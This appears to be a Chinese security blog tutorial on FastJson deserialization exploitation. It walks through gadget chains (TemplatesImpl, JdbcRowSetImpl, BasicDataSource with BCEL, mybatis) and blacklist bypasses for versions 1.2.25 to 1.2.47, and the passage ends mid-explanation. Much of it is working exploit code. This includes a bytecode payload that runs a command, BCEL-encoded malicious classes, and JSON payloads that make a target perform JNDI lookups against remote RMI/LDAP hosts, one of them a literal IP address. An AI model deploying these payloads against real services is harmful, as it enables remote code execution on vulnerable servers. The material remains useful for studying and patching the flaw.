0x00 前言
浅学一下
0x01 环境配置
Maven
使用Maven导入依赖，如下:
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>0x02 FastJson的序列化
序列化
FastJson中序列化函数有toJSONString和toJSONBytes，不过这都8重要。在序列化时，会调用对应类的getter。编写一个测试类Tester（注意要有一个默认构造函数）：
public class Tester {
private String name;
// 反序列化一定要有默认构造函数
public Tester(){
}
public Tester(String name){
System.out.println("调用构造方法");
this.name = name;
}
public void setName(String name){
this.name = name;
System.out.println("调用SETTER");
}
public String getName() {
System.out.println("调用GETTER");
return this.name;
}
}然后我们进行一个测试：
import com.alibaba.fastjson.JSON;
public class Foobar {
public static void main(String[] args){
String testSer = JSON.toJSONString(new Tester("chenlvtang"));
System.out.println(testSer);
}
}输出结果如下：
反序列化
在FastJson中，反序列化，主要有两个函数：
- parse
- parseObject
这两者的区别在于，parseObject会在调用完parse后，将其转化为JSONObject，源码如下：
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}如果没有指定类型，默认都是JSONObject类，只有在序列化内容中使用@type（autoType）或者在parseObject参数中指定对应的类，才能够将其转换为对应的类，测试代码如下：
// parse反序列化
System.out.println("parse():");
Object testUnser = JSON.parse(testSer);
System.out.println(testUnser.getClass().getName());
System.out.println("=========================");
// parseObject反序列化
System.out.println("parseObject():");
testUnser = JSON.parseObject(testSer);
System.out.println(testUnser.getClass().getName());
System.out.println("=========================");
// parse指定类型的转换
System.out.println("parse(@type):");
String testSerType = "{\"@type\":\"Tester\",\"name\":\"chenlvtang\"}";
testUnser = JSON.parse(testSerType);
System.out.println(testUnser.getClass().getName());
System.out.println("=========================");
// parseObject指定类型的转换，无Object.class
System.out.println("parseObject(@type):");
Object tester = JSON.parseObject(testSerType);
System.out.println(tester.getClass().getName());
System.out.println("=========================");
// parseObject指定类型的转换
System.out.println("parseObject(@type, Object.class):");
// 注意这里要设定Object.class, 不然会默认转为JSONObject
tester = JSON.parseObject(testSerType, Object.class);
System.out.println(tester.getClass().getName());
System.out.println("=========================");
// parseObject指定类型的转换
System.out.println("parseObject(, Tester.class):");
testUnser = JSON.parseObject(testSer, Tester.class);
System.out.println(testUnser.getClass().getName());注意上面，parseObject在以@type反序列化时，需要指定一个Object.class，不然会默认转换为JSONObject，感兴趣可以追踪源码。上文的输出如下图所示：
观察上面的输出，可以发现，parse在反序列化时会调用对应类（需要指定）的setter（还有特殊情况的getter，见下文），而parseObject因为多了一步toJSON，所以除了调用setter外还会调用getter（没指定Object.class的情况下）。
总的来说就是在反序列化过程中，会调用对应类的setter或者getter，这有什么风险呢？很容易想到，当某个类的setter和getter中存在危险函数时，就可以借助反序列化来执行，这就是FastJson反序列化漏洞的原理。
parse调用getter
根据各位师傅（图片选自@…师傅）对fastjson反序列化源代码分析:
可以知道当我们的getter方法满足下面条件时，就会被parse调用：
- 函数名长度大于等于
4 - 非静态方法
- 以
get开头且第4个字母为大写 - 无参数
- 返回值类型继承自
Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
0x03 TemplatesImpl链
回顾
Template链算是我们的老朋友了，在Java反序列化之CC2 一文中首次登场，不熟悉的可以回过头再看一下（好吧，我自己都忘记了，哈哈
FastJson中的调用
上文说到过FastJson反序列化漏洞，是通过调用类的getter和setter，但是在我们的Template链中我们只分析了入口为newTransform。是的，TemplatesImpl里面恰好就有这么一个getter，他不仅调用了我们的newTransfomer，并且满足上文说的parse需要的getter条件——”getOutputProperties“：
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}这里的返回类型是Properties，他继承了Hashtable，Hashtable实现了Map接口，所以满足条件。
几处小细节
a）反序列化不存在setter方法的private变量时，需要加上参数Feature.SupportNonPublicField，测试代码如下：
public class Tester {
private String name;
private String test = "Test"; //不给他Setter方法
//略
testSerType = "{\"@type\":\"Tester\",\"name\":\"chenlvtang\", \"test\":\"foo\"}";
testUnser = JSON.parseObject(testSerType, Object.class);
Tester testUnser1 = (Tester) testUnser;调试后，发现并没有成功赋值：
加上Feature.SupportNonPublicField后，成功赋值，这里就不再展示了。为什么要强调这一点呢，因为我们的Templat链里，好多变量并不存在setter，这也是这条链的缺陷。
b）getOutputProperties对应的成员变量是什么？
你可能会觉得是outputProperties，但是TemplatesImpl里面并没有这个，而只有_outputProperties。那是他吗？是的，因为我们知道，在变量面前加_一般是表示其私有的意思，FastJson在处理时，会自动帮我们去除，并找到对应的getter。感兴趣的话，可以自己在FastJson的源码搜索smartMatch, 还有个属性，可以关闭他:Feature.DisableFieldSmartMatch。
c）_bytecodes[][]的处理
FastJson在处理byte[]数组时，会进行Base64解码的操作，如下：
ObjectArrayCodec.java
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
final JSONLexer lexer = parser.lexer;
// ......省略部分代码
if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue(); // ... 在这里解析byte数组值
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}
// 接着调用JSONScanner.bytesValue()
JSONScanner.java
public byte[] bytesValue() {
return IOUtils.decodeBase64(text, np + 1, sp);所以我们的Payload中就需要Base64编码（其实如果不编码，我都还不知道怎么把字节类型的Payload塞进去ORZ
payload的构造
第一步，构造出恶意类模板，别忘了CC2中提到的点：
- 需要继承AbstractTranslet
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilTemplate extends AbstractTranslet{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}第二步，使用Javassist插入恶意方法，然后Base64编码：
public class MakeAndBase64 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(EvilTemplate.class.getName());
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("EvilTemplate");
byte[] bytecode = ctClass.toBytecode();
String base64ByteCode = Base64.getEncoder().encodeToString(bytecode);
//System.out.println(base64ByteCode);
}
}第三步，构造恶意JSON数据：
public class MakeEvilJson {
public static void main(String[] args){
String evilJson = "{" +
"\"@type\": " +
"\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_name\": " +
"\"chenlvtang\"," +
"\"_tfactory\":" +
"{},"+
"\"_bytecodes\":"+
"[\"yv66vgAAADQAOQoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MRXZpbFRlbXBsYXRlOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEAEUV2aWxUZW1wbGF0ZS5qYXZhDAAJAAoHAC4MAC8AMAEACGNhbGMuZXhlDAAxADIBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAzAAoBAAxFdmlsVGVtcGxhdGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQwALwAwCgAlADQIACcMADEAMgoAJQA3ACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAADQANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAagACAAEAAAAbuAA1Eja2ADhXuAACEgO2AARXpwAISyq2AAaxAAEACQASABUABQADAAwAAAAWAAUACQAWABIAGQAVABcAFgAYABoAGgANAAAADAABABYABAAeAB8AAAAgAAAABwACVQcAIQQAAQAiAAAAAgAj\"],"+
"\"_outputProperties\":"+
"{}"+
"}";
JSON.parseObject(evilJson, Feature.SupportNonPublicField);
}
}
这里要注意和CC链中构造不同的是，对象要写成{}，数组要写成[]，所以我们payload中_tfactory（要是一个对象，但是这里是直接置为空就行，我怀疑我之前构造CC2的时候也可以一个基类）和_bytecodes（是一个数组）都有相应的变换。
最后一步，测试，成功弹出熟悉的计算器！
0x04 JdbcRowSetImpl链
分析
这条链非常滴简单，首先定位到com.sun.rowset.JdbcRowSetImpl的setAutoCommit函数：
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}当this.conn为空时，会调用this.connect()，跟进：
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return ...
// 忽略
}
当this.getDataSourceName()不为空时，使用了JNDI的lookup，所以我们可以借此实现JNDI注入，不记得的话，请看：JNDI注入の拙见、高版本JDK下的JNDI注入, getDataSourceName()如下：
public String getDataSourceName() {
return dataSource;
}所以实际上，只要控制dataSource的值就够了，因为我们的conn默认就是null，并且这里dataSource虽然是private，但是还存在setter（setDataSourceName），所以比template链限制更小，只受制于JNDI。而且这个链的触发点是setAutoCommit，不同于getter，setter在反序列化时无论怎样都是会调用的。
一处小细节
上文说到过，FastJson在反序列化时，实际上时通过调用setter来给成员赋值。我们这里的dataSource存在setter，但是名称为setDataSourceName：
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}那我们传参是用dataSource，还是dataSourceName呢？答案是，dataSourceName，这样fastjson才能调用到setter，从而实现datasource成员的赋值。（这部分代码貌似都是ASM操作字节码实现的，不知道师傅们是怎么调试的）
同时还要注意autoCommit要是布尔类型。
payload的构造
JNDI的打法，在上文两篇文章都有给出，不想再赘述了（实际上懒），这里仅以VPS的nc监听端口（你也可以用dnslog平台）来判断是否成功：
public class JdbcHacker {
public static void main(String[] args){
String evilJson = "{" +
"\"@type\":" +
"\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":" +
"\"rmi://xxx.xxx.xx.xx:2333/hacker\"," +
"\"autoCommit\":" +
"true" +
"}";
JSON.parse(evilJson);
}
}成功：
0x04 BasicDataSource链（BCEL）
前言
这个链条利用条件比前两个都要低，他不需要开启额外的选项，也不像JNDI一样需要目标出网，但是很可惜的是，在JDK8u251后，其ClassLoader就找不到了。
具体可看：P牛的博客
依赖导入
BasicDataSource在Tomcat8之前，类路径为org.apache.tomcat.dbcp.dbcp.BasicDataSource，Maven导入配置如下：
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>dbcp</artifactId>
<version>6.0.53</version>
</dependency>Tomcat8.0之后，路径为org.apache.tomcat.dbcp.dbcp2.BasicDataSource，Maven的配置如下：
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>Sink分析
在其 getConnection()中会调用createDataSource：
public Connection getConnection() throws SQLException {
return this.createDataSource().getConnection();
}跟进createDataSource又会调用createConnectionFactory：
protected synchronized DataSource createDataSource() throws SQLException {
if (this.closed) {
throw new SQLException("Data source is closed");
} else if (this.dataSource != null) {
return this.dataSource;
} else {
//这里
ConnectionFactory driverConnectionFactory = this.createConnectionFactory();继续跟进createConnectionFactory可以看到调用了Class.forName来加载类：
protected ConnectionFactory createConnectionFactory() throws SQLException {
Class driverFromCCL = null;
String user;
if (this.driverClassName != null) {
try {
try {
if (this.driverClassLoader == null) {
//这里
Class.forName(this.driverClassName);
} else {
//这里
Class.forName(this.driverClassName, true, this.driverClassLoader);我们在之前的反序列化学习中，似乎已经见过了ClassLoader加载类，而在这里和JDBC中是使用的Class.forName，两者有什么区别呢？其实Class.forName底层也是用过调用ClassLoader来实现，但是ClassLoader只会把类装入JVM内存，而Class.forName不仅会把类装入内存，还会去初始化，此时如果类中存在static静态代码块，则会被触发执行。
这里的参数都是可控的，所以如果有一个类中存在静态的代码块，就能够与之结合来利用……但是师傅们可能会觉得，这不是没用吗，哪里会有这样的类。确实，除非自己构造一个，不然这样的类确实不太可能有。但是我们注意到这里除了可以传入driverClassName外，还可以传入driverClassLoader，而恰好就有这么一个ClassLoader，给了我们加载任意恶意类的机会。
BCEL部分分析
（这里记得换低版本的JDK）在com.sun.org.apache.bcel.internal.util.ClassLoader的loadClass之中，我们可以看到，他会先将BCEL编码解码，并在解码后直接获取字节码，然后将其加载：
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
//省略
//如果是BCEL码
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);//解码
//省略
if(clazz != null) {
byte[] bytes = clazz.getBytes();
//注意这里
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
//省略
return cl;
}因此，如果把BasicDataSource中的this.driverClassLoader指定为com.sun.org.apache.bcel.internal.util.ClassLoader，this.driverClassName指定为恶意类的BCEL码，我们即可实现攻击。其编码解码操作方法如下：
String str = Utility.encode(cls.getBytes(),true);
byte[] bytes = Utility.decode(real_name, true);其中字节码的获取可以使用BCEL库的Repository.lookupClass().getBytes()，也可以使用之前CC链之中的Javassist来创建。
小细节
从上文，我们似乎已经可以构造出Payload了，但是我们不要忘了，我们的触发点是getConnection()，很显然，这是一个getter。而我们在上文说过，ParseObject会调用getter（因为他有一个toJson），这自然是没有问题的。但是在Parse下，要触发getter是存在条件的，即：
- 函数名长度大于等于
4 - 非静态方法
- 以
get开头且第4个字母为大写 - 无参数
- 返回值类型继承自
Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
这里getConnection的返回类型为Connection类型，继承的是Wrapper和AutoCloseable，显然是不符合要求的。那这就意味着Parse下无法利用吗？并不是的，我们将在下文进行讲解，看看大师傅们是如何巧妙地构造出可用Payload。
ParseObject下的Payload
如上文所说，在ParseObject下，我们完全不用担心什么。首先创建一个恶意类：
public class WanaHacker {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}然后利用Javassist生成字节码并进行BCEL编码：
public class AnotherTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clz = pool.get(WanaHacker.class.getName());
byte[] bytes = clz.toBytecode();
String evilCode = Utility.encode(bytes,true);
System.out.println(evilCode);
}
}之后将Payload拼接：
String payload = "{" +
"\"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
"\"driverClassLoader\": {" +
"\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
"}," +
"\"driverClassName\":" +
"\"$$BCEL$$" + evilCode + "\"" +
"}";
JSON.parseObject(payload);Parse下Payload
如上文所说，这里的getConnection不符合parse调用getter的规则，但是大师傅们给出了巧妙的解决办法：
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}我们将其抽象的表达为如下的形式：
{
{
"x":{
ParseObject的Payload
}
}: "x"
}- 首先是将原payload包上{}，放在value的位置，这样反序列化后，就会获得一个JSONObject对象
- 之后再将其包上{}，放在key的位置，在Parse中，Key为Json，则会调用其toString方法，而toString会遍历getter，从而实现触发。
0x05 绕过导论
autoTypeSupport选项
在1.2.25后，FastJson针对反序列化进行了修复，添加了autoTypeSupport选项并增加了一个checkAutoType方法。autoTypeSupport默认为false，此时不再支持@type；当为true时，checkAutoType方法会进行黑白名单的校验。使用如下语句可以开启autoTypeSupport：
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);下面为在DefaultJsonParser（调用栈中的一环）增加的调用ParserConfig类CheckAutoType方法的逻辑:
if (key == JSON.DEFAULT_TYPE_KEY && !this.lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = this.lexer.scanSymbol(this.symbolTable, '"');
//经过checkAutoType的检查
Class<?> clazz = this.config.checkAutoType(typeName, (Class)null, this.lexer.getFeatures());
if (!Map.class.isAssignableFrom(clazz)) {
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
this.lexer.nextToken(16);
this.setResolveStatus(2);
if (context != null && !(fieldName instanceof Integer)) {
this.popContext();
}
Map var22 = (Map)deserializer.deserialze(this, clazz, fieldName);
return var22;
}checkAutoType方法
当为true时，有以下处理流程（ParseConfig类）:
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}可以看到，如果在白名单内，则会直接调用TypeUtils.loadClass加载类，不在白名单则继续黑名单校验，如果在黑名单中，则会抛出异常。查看this.denyList，得到黑名单（V 1.2.25）如下（可以看到com.sun在黑名单里）：
0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.codehaus.groovy.runtime"
17 = "org.hibernate"
18 = "org.jboss"
19 = "org.mozilla.javascript"
20 = "org.python.core"
21 = "org.springframework"如果也通过了黑名单校验，则会使用TypeUtils.loadClass进行类的加载：
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}TypeUtils.loadClass方法
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);可以看到，在loadClass中会对[xxx和Lxxx;的格式进行截取，然后进行类的加载。那这里会有个什么问题呢？我们注意到，在上文黑名单的校验中，使用的是startsWith()。那么这里很显然就存在一个逻辑问题，如果我们以提到的这两种形式去构造Payload，就可以轻易的绕过黑名单校验。
绕过研究方向
对于此次的修复，有两类绕过的研究方向：
- 绕过autoTypeSupport
- 开启autoTypeSupport选项时，根据loadClass和黑名单校验的startsWith间的逻辑问题，或是黑名单之外的链，来绕过checkAutoType的黑名单
这里，我更加欣赏对autoTypeSupport的绕过，因为这样的Payload限制更少，不需要目标开启autoTypeSupport选项。
0x06 绕过详解
1.2.25-1.2.41
如上文所提到的，在这些版本中，直接使用[xxx或是Lxxxx;即可绕过：
这里[xxx形式的payload可以根据报错信息进行构造：
可以知道，要把逗号换成[，然后又有新的报错如下：
增加一个{，成功执行:
所以下次直接构造["xxxx"[{即可。
1.2.42
这个版本进行了新的修复，将黑名单换为了hash值（这些hash值对应的类已经有人碰撞出来了，可自己搜索一下）的比较：
if (this.autoTypeSupport || expectClass != null) {
hash = h3;
for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}并且在进入黑白检查前之前增加了一段代码：
这里实际就是对上一个版本的修复，对类名的开头和结尾进行截取，去除L和;。但是因为没有对[xxxx的形式进行修复，所以这里依然可行。并且我们在上文提到过，在TypeUtils.loadClass中同样会进行L和;的截取，所以当我双写L;时，去除一层L;后hash值依然匹配不上黑名单，从而导致绕过，并且最后在TypeUtils.loadClass再去除一次时，成功加载恶意类。因此，可用的Payload如下:
String evilJson = "{" +
"\"@type\":" +
"\"[com.sun.rowset.JdbcRowSetImpl\"[{" +
"\"dataSourceName\":" +
"\"rmi://xxx.xxx.xx.xx:2333/hacker\"," +
"\"autoCommit\":" +
"true" +
"}";
//或是
String evilJson = "{" +
"\"@type\":" +
"\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":" +
"\"rmi://xxx.xxx.xx.xx:2333/hacker\"," +
"\"autoCommit\":" +
"true" +
"}";1.2.43
在1.2.43中针对1.2.42中的双写绕过进行了修复，修复方法也是很粗暴，如果类以LL开头，则直接抛出异常，但还是没有针对[xxx进行修复 :
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
//判断了是不是LL开头
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}双写不能用，但是如上所说，还能使用[xx，所以此版本还是可被攻击。
1.2.44-1.2.45
在这个版本之中，终于修复了[xxx：（并且连Lxxx;这种都不行了）
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
//如果是[开头
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
}//如果是Lxxx;的形式
else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
} else {可以看到[开头和Lxxx;都不再能使用，会直接抛出异常。但是又有一条新的链可以实现攻击（类名不在黑名单中）——mybatis链。
mybatis链
mybatis链需要对方存在mybatis的jar。我们在pom.xml中添加:
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.5</version>
</dependency>在org.apache.ibatis.datasource.jndi.JndiDataSourceFactory包中存在setProperties方法，其中会调用JNDI：
public void setProperties(Properties properties) {
try {
Properties env = getEnvProperties(properties);
InitialContext initCtx;
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
if (properties.containsKey("initial_context") && properties.containsKey("data_source")) {
Context ctx = (Context)initCtx.lookup(properties.getProperty("initial_context"));
this.dataSource = (DataSource)ctx.lookup(properties.getProperty("data_source"));
} else if (properties.containsKey("data_source")) {
//注意这里，可以JNDI注入
this.dataSource = (DataSource)initCtx.lookup(properties.getProperty("data_source"));
}
// ...略当properties参数存在“data_source”时，会调用JNDI，并传入data_source的值。因此，可以构造payload如下：
String evilJson = "{" +
"\"@type\":" +
"\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":" +
"{\"data_source\": \"ldap://xxx.xxx.xx.xx:2333/hacker\"}" +
"}";但是，在1.2.46版本中，把mybatis链加入到了黑名单。
1.2.25-1.2.47
在上文说过，针对1.2.25添加的autoTypeSupport，有两种方式，一种是绕过其黑名单，还有一种是从根本上绕过这个选项的设置。本小节就是利用缓存来从根本上绕过autoTypeSupport，从而做到了通杀，直到在1.2.48中被修复。
在没开启autoTypeSupport时，会跳过上文检查分支，并经过如下代码的处理:
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}第一个getClassFromMapping从 TypeUtils的Mapping里获取类，第二个deserializers在ParserConfig类的构造函数中会调用initDeserialzers来初始化，可以浅看一下：
private void initDeserializers() {
this.deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
this.deserializers.put(Timestamp.class, SqlDateDeserializer.instance_timestamp);
this.deserializers.put(Date.class, SqlDateDeserializer.instance);
this.deserializers.put(Time.class, TimeDeserializer.instance);
this.deserializers.put(java.util.Date.class, DateCodec.instance);
this.deserializers.put(Calendar.class, CalendarCodec.instance);
this.deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);留意这里的MiscCodec。在DefaultJsonParser类中，我们可以清晰的看到，在完成ParserConfig获取后，会先获取他的deserialzer，并最后会调用他的deserialze方法
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = config.checkAutoType(typeName, null);
// 中间一大堆忽略
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}这里我们跟进上面留意的MiscCodec，在其deserial方法中：
可以看到，当类为Class类时，会调用TypeUtile.loadClass，但是这又不是一个恶意类，有什么用呢？我们注意到这里传入的参数为strVal，strVal来自于ObejectVal （”strVal = (String)objVal“），而ObjectVal获取如下:
Object objVal;
if (parser.resolveStatus == 2) {
parser.resolveStatus = 0;
parser.accept(16);
if (lexer.token() != 4) {
throw new JSONException("syntax error");
}
//参数名必须为val
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
parser.accept(17);
objVal = parser.parse();
parser.accept(13);
} else {
objVal = parser.parse();
}此处实际上就是获取其val参数的值（其实我自己也有点没看懂这里代码逻辑，以后再详细阐述一下），所以上文的TypeUtile.loadClass最终是加载了Class类中val参数的值，这有什么用呢？在TypeUtile.loadClass中我们可以看到，其在每次加载完后，都会把其加入到mapping之中，类似于缓存一样
这里的cache，默认为true：
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}所以这就意味着，我们可以利用Class类的val参数给TypeUtile的mapping缓存添加上任意类，而在上文我们说过，当autoTypeSupport未开启时，会跳过检查分支，尝试从mapping获取。因此，我们可以先通过Class类的val参数给mapping加上恶意类，之后就能成功的从mapping中获取到恶意类并直接return。
于是，我们可以构造出如下的Payload：
String evilJson =
"{" +
"\"foo\": {" +
"\"@type\":" +
"\"java.lang.Class\"," +
"\"val\":" +
"\"com.sun.rowset.JdbcRowSetImpl\"" +
"}," +
"\"bar\": {" +
"\"@type\":" +
"\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":" +
"\"ldap://112.124.55.122:2333/hacker\"," +
"\"autoCommit\":" +
"true" +
"}" +
"}";此payload可以通杀1.2.25-1.2.47下autoTypeSupport为false的情况，但是当此参数为True时，在低版本（本人测试的1.2.25-1.2.32）中会抛出异常，在高版本1.2.47中无论true还是false都可以成功，原因如下：
